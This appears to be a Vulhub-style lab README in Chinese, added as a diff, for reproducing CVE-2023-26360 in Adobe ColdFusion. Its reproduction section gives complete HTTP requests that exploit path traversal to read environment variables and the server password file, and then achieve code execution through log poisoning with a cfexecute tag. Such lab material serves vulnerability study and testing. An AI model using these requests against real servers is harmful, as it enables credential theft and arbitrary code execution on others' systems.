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coldfusion/CVE-2023-26360/README.zh-cn.md

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+# Adobe ColdFusion 本地文件包含漏洞（CVE-2023-26360）
+
+Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。
+
+Adobe ColdFusion 2018 Update 15 和 2021 Update 5 版本及以前，存在一处文件包含漏洞。攻击者可以利用该漏洞在服务器上执行任意代码。
+
+参考链接：
+
+- <https://xz.aliyun.com/t/13392>
+
+## 漏洞环境
+
+启动一个Adobe ColdFusion 2018.0.15服务器：
+
+```
+docker compose up -d
+```
+
+等待一段时间后环境启动成功，访问`http://your-ip:8500/CFIDE/administrator/index.cfm`，输入密码`vulhub`，即可成功安装Adobe ColdFusion。
+
+## 漏洞复现
+
+发送如下请求即可读取文件`/proc/self/environ`：
+
+```
+POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=foo&_cfclient=true HTTP/1.1
+Host: localhost:8500
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+Content-Length: 82
+Content-Type: application/x-www-form-urlencoded
+
+_variables={"_metadata":{"classname":"../../../../../../../../proc/self/environ"}}
+```
+
+你可以在返回包中找到Adobe ColdFusion的根目录`/opt/coldfusion/cfusion`：
+
+![](1.png)
+
+从`../../../../../../../../opt/coldfusion/cfusion/lib/password.properties`中读取服务器密码：
+
+![](2.png)
+
+想要利用文件包含漏洞执行任意代码，需要先发送如下请求来写入CFM脚本：
+
+```
+POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=foo&_cfclient=true HTTP/1.1
+Host: localhost:8500
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+Content-Length: 67
+Content-Type: application/x-www-form-urlencoded
+
+_variables=<cfexecute name='id' outputFile='/tmp/success' ></cfexecute>
+```
+
+然后包含日志文件，执行该CFM代码：
+
+```
+POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=foo&_cfclient=true HTTP/1.1
+Host: localhost:8500
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+Content-Length: 111
+Content-Type: application/x-www-form-urlencoded
+
+_variables={"_metadata":{"classname":"../../../../../../../../opt/coldfusion/cfusion/logs/coldfusion-out.log"}}
+```
+
+可见，`id`命令的执行结果已经被写入`/tmp/success`：
+
+![](3.png)